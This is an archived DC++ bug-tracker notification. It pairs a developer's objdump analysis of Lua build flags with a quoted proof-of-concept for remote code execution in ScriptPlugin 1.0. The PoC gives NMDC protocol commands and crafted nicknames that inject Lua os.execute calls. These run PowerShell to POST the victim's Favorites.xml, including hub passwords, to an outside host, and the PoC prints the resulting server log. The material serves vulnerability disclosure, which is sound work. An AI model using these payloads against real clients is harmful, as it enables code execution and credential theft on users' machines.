← Back to team overview

linuxdcpp-team team mailing list archive

[Bug 2047732] Re: [PoC] RCE in ScriptPlugin 1.0

 

https://bugs.launchpad.net/dcplusplus/+bug/2047732/comments/5 regarding
LUA_COMPAT_BITLIB does mean, yes, that nothing from that source file is
being compiled:

dcnetwork-code/trunk/dc-plugins/ScriptPlugin/projects/make/build-
mingw-x64/lua$ objdump -t lbitlib.o

lbitlib.o:     file format pe-x86-64

SYMBOL TABLE:
[  0](sec -2)(fl 0x00)(ty    0)(scl 103) (nx 1) 0x0000000000000000 lbitlib.c
File
[  2](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 1) 0x0000000000000000 luaopen_bit32
AUX tagndx 0 ttlsiz 0x0 lnnos 0 next 0
[  4](sec  1)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .text
AUX scnlen 0xc nreloc 2 nlnno 0
[  6](sec  2)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .data
AUX scnlen 0x0 nreloc 0 nlnno 0
[  8](sec  3)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .bss
AUX scnlen 0x0 nreloc 0 nlnno 0
[ 10](sec  4)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata
AUX scnlen 0x24 nreloc 0 nlnno 0
[ 12](sec  5)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .xdata
AUX scnlen 0x4 nreloc 0 nlnno 0
[ 14](sec  6)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .pdata
AUX scnlen 0xc nreloc 3 nlnno 0
[ 16](sec  7)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_info
AUX scnlen 0x1ab nreloc 12 nlnno 0
[ 18](sec  8)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_abbrev
AUX scnlen 0xaf nreloc 0 nlnno 0
[ 20](sec  9)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_loclists
AUX scnlen 0x1e nreloc 0 nlnno 0
[ 22](sec 10)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_aranges
AUX scnlen 0x30 nreloc 2 nlnno 0
[ 24](sec 11)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_line
AUX scnlen 0x69 nreloc 7 nlnno 0
[ 26](sec 12)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_str
AUX scnlen 0xa nreloc 0 nlnno 0
[ 28](sec 13)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_line_str
AUX scnlen 0xce nreloc 0 nlnno 0
[ 30](sec 14)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata$zzz
AUX scnlen 0x14 nreloc 0 nlnno 0
[ 32](sec 15)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .debug_frame
AUX scnlen 0x30 nreloc 2 nlnno 0
[ 34](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_error

Compare this with, e.g.,
dcnetwork-code/trunk/dc-plugins/ScriptPlugin/projects/make/build-mingw-x64/lua$ objdump -t ltablib.o

ltablib.o:     file format pe-x86-64

SYMBOL TABLE:
[  0](sec -2)(fl 0x00)(ty    0)(scl 103) (nx 1) 0x0000000000000000 ltablib.c
File
[  2](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 1) 0x0000000000000000 tmove
AUX tagndx 0 ttlsiz 0x0 lnnos 0 next 0
[  4](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x0000000000000230 pack
[  5](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x00000000000002d0 checktab.constprop.0
[  6](sec 17)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata$.refptr.lua_rawseti
AUX scnlen 0x8 nreloc 1 nlnno 0 checksum 0x0 assoc 0 comdat 2
[  8](sec 18)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata$.refptr.lua_geti
AUX scnlen 0x8 nreloc 1 nlnno 0 checksum 0x0 assoc 0 comdat 2
[ 10](sec 16)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata$.refptr.lua_seti
AUX scnlen 0x8 nreloc 1 nlnno 0 checksum 0x0 assoc 0 comdat 2
[ 12](sec 19)(fl 0x00)(ty    0)(scl   3) (nx 1) 0x0000000000000000 .rdata$.refptr.lua_rawgeti
AUX scnlen 0x8 nreloc 1 nlnno 0 checksum 0x0 assoc 0 comdat 2
[ 14](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x00000000000003c0 tinsert
[ 15](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x00000000000004d0 unpack
[ 16](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x00000000000005d0 tremove
[ 17](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x00000000000006d0 tconcat
[ 18](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x0000000000000890 auxsort
[ 19](sec  1)(fl 0x00)(ty   20)(scl   3) (nx 0) 0x0000000000000f20 sort
[ 20](sec  1)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000fb0 luaopen_table
[ 21](sec  4)(fl 0x00)(ty    0)(scl   3) (nx 0) 0x0000000000000140 tab_funcs
...
[ 59](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_checkinteger
[ 60](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_type
[ 61](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_pushvalue
[ 62](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_getmetafield
[ 63](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_geti
[ 64](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_seti
[ 65](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_argerror
[ 66](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_checktype
[ 67](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_rawgeti
[ 68](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_rawseti
[ 69](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_gettop
[ 70](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_createtable
[ 71](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_rotate
[ 72](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_pushinteger
[ 73](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_setfield
[ 74](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_getmetatable
[ 75](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_pushstring
[ 76](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_rawget
[ 77](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_settop
[ 78](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_len
[ 79](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_error
[ 80](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_optinteger
[ 81](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_checkstack
[ 82](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_pushnil
[ 83](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_optlstring
[ 84](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_buffinit
[ 85](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_addvalue
[ 86](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_addlstring
[ 87](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_isstring
[ 88](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_typename
[ 89](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_pushresult
[ 90](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_callk
[ 91](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_toboolean
[ 92](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 lua_compare
[ 93](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_checkstack
[ 94](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_checkversion_
[ 95](sec  0)(fl 0x00)(ty   20)(scl   2) (nx 0) 0x0000000000000000 luaL_setfuncs

Which is controlled by https://github.com/lua/lua/blob/75ea9ccbea7c4886f30da147fb67b693b2624c26/luaconf.h#L291 where LUA_COMPAT_5_2 implies LUA_COMPAT_BITLIB. But because neither is ever defined, as the objdump (or one could use nm(1), etc), shows, lbitlib isn't defined:
dcnetwork-code/trunk$ rg 'LUA_COMPAT_BITLIB|LUA_COMPAT_5_2'
dc-plugins/ScriptPlugin/lua/lbitlib.c
19:#if defined(LUA_COMPAT_BITLIB)		/* { */

dc-plugins/ScriptPlugin/lua/linit.c
53:#if defined(LUA_COMPAT_BITLIB)

dc-plugins/ScriptPlugin/lua/luaconf.h
286:@@ LUA_COMPAT_5_2 controls other macros for compatibility with Lua 5.2.
291:#if defined(LUA_COMPAT_5_2)	/* { */
300:@@ LUA_COMPAT_BITLIB controls the presence of library 'bit32'.
302:#define LUA_COMPAT_BITLIB

I'm fairly convinced updating the ScriptPlugin to 5.4 is fine.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/2047732

Title:
  [PoC] RCE in ScriptPlugin 1.0

Status in DC++:
  New
Status in DC++ plugin SDK (C++):
  New

Bug description:
  I guess many of you atleast once heard of the most common mistake that
  unexperienced PHP coder makes, allowing SQL database input without
  escaping, which resulted in SQL injections and possibly server
  stealing.

  We got very similar situation that inherits from 2008 and probably
  earlier, from first client side Lua plugins, that still exists in our,
  lets call it "modern" client side Lua plugin - ScriptPlugin version
  1.0.

  For now we are going to cover NMDC protocol only, the ADC part has not
  been properly tested yet.

  There are several protocol commands that can be used for code
  execution, but we chose the most effective one - so called on demand
  command.

  Depending on hub settings such as nick length and allowed characters,
  it might even be possible to use our "kamikaze" user as code executor,
  but right now we are going to focus on a controlled hub that has
  ability to send any protocol data to any online user.

  So our on demand command will be following, where in context we need
  to think of <kamikaze> as of user nick containing exploitative code:

  [CODE]
  $RevConnectToMe <kamikaze> <sender>|
  [/CODE]

  There is one condition on this request - the user must be online if
  our target is to send a reply.

  When our target client is active, he will reply with:

  [CODE]
  $ConnectToMe <kamikaze> <ip>:<port>|
  [/CODE]

  When our target client is passive, there is one more condition before
  sending a reply - kamikaze must not be passive, target will reply
  with:

  [CODE]
  $RevConnectToMe <sender> <kamikaze>|
  [/CODE]

  To fulfill first condition, we are going to prepare our kamikaze user
  by sending following command to our target:

  [CODE]
  $Hello <kamikaze>|
  [/CODE]

  This will add user to our userlist and not set any flags such as
  passive or any other.

  Now we can name our kamikaze user, but we need to know if our target
  is active or passive, because <kamikaze> has different positions in
  two commands.

  For passive target user we use following nick:

  [CODE]
  ='LuaExec';os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post";');--
  [/CODE]

  For active target user we use following nick:

  [CODE]
  print('LuaExec');os.execute('powershell\x20-command\x20"Invoke-WebRequest\x20-InFile\x20Favorites.xml\x20-Uri\x20http://mydomain.scan\x20-Method\x20Post";');--
  [/CODE]

  "LuaExec" text is the execution trigger, originating from BCDC for
  execution of custom user commands, and a space that points to start
  position of executed code.

  As we know, spaces are not allowed in protocol nicks, but we use Lua,
  so a hexadecimal "\x20" within a string will do just fine.

  Since we don't want syntax error in our Lua code, we must not forget
  commenting out possible rests of our protocol command, accomplished
  with "--" at the end.

  Now lets look at reply commands that our target will try to reply
  with, but instead execute them without sending to hub.

  In active example we got following reply:

  [CODE]
  $ConnectToMe <kamikaze> <ip>:<port>|
  [/CODE]

  Our final Lua code looks like this as the result:

  [CODE]
  kamikaze ='LuaExec';
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri http://mydomain.scan -Method Post"');
  [/CODE]

  In passive example we got following reply:

  [CODE]
  $RevConnectToMe <sender> <kamikaze>|
  [/CODE]

  Our final Lua code looks like this as the result:

  [CODE]
  print('LuaExec');
  os.execute('powershell -command "Invoke-WebRequest -InFile Favorites.xml -Uri http://mydomain.scan -Method Post"');
  [/CODE]

  In both cases we got execution trigger "LuaExec" and we got a space
  which actual execution starts at.

  As the result, our target user gets a command line window popping up
  for hardly a second, executing our request and sending Favorites.xml
  as POST data to http://mydomain.scan/.

  At remote HTTP server we got a logger that shows us following:

  [CODE]
  [15:56:33] <hidden> Visitor notification: 1.2.3.4.US, D: LuaExec Test, U: POST /, A: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3803, H:

   User-Agent=Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.3803
   Content-Type=application/x-www-form-urlencoded
   Host=mydomain.scan
   Content-Length=279
   Expect=100-continue
   Connection=Keep-Alive

   <?xml version="1.0" encoding="utf-8" standalone="yes"?>
   <Favorites>
   <Hubs>
    <Hub Name="" Description="" Password="" Server="testhub:411" Encoding="" Group="" Nick="dcppusr"/>
   </Hubs>
   <Users/>
   <UserCommands/>
   <FavoriteDirs/>
   </Favorites>
  [/CODE]

  We got what we needed, so lets clean up the mess after us with
  following command:

  [CODE]
  $Quit <kamikaze>|
  [/CODE]

  As we mentioned earlier, there is a possibility to use kamikaze user
  on any uncontrolled hubs, if they allow us to use required nick length
  and do not forbid any characters we need for remote code execution.

  Happy hacking. :)

  Copyright (c) 2024 Team Elite

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/2047732/+subscriptions



References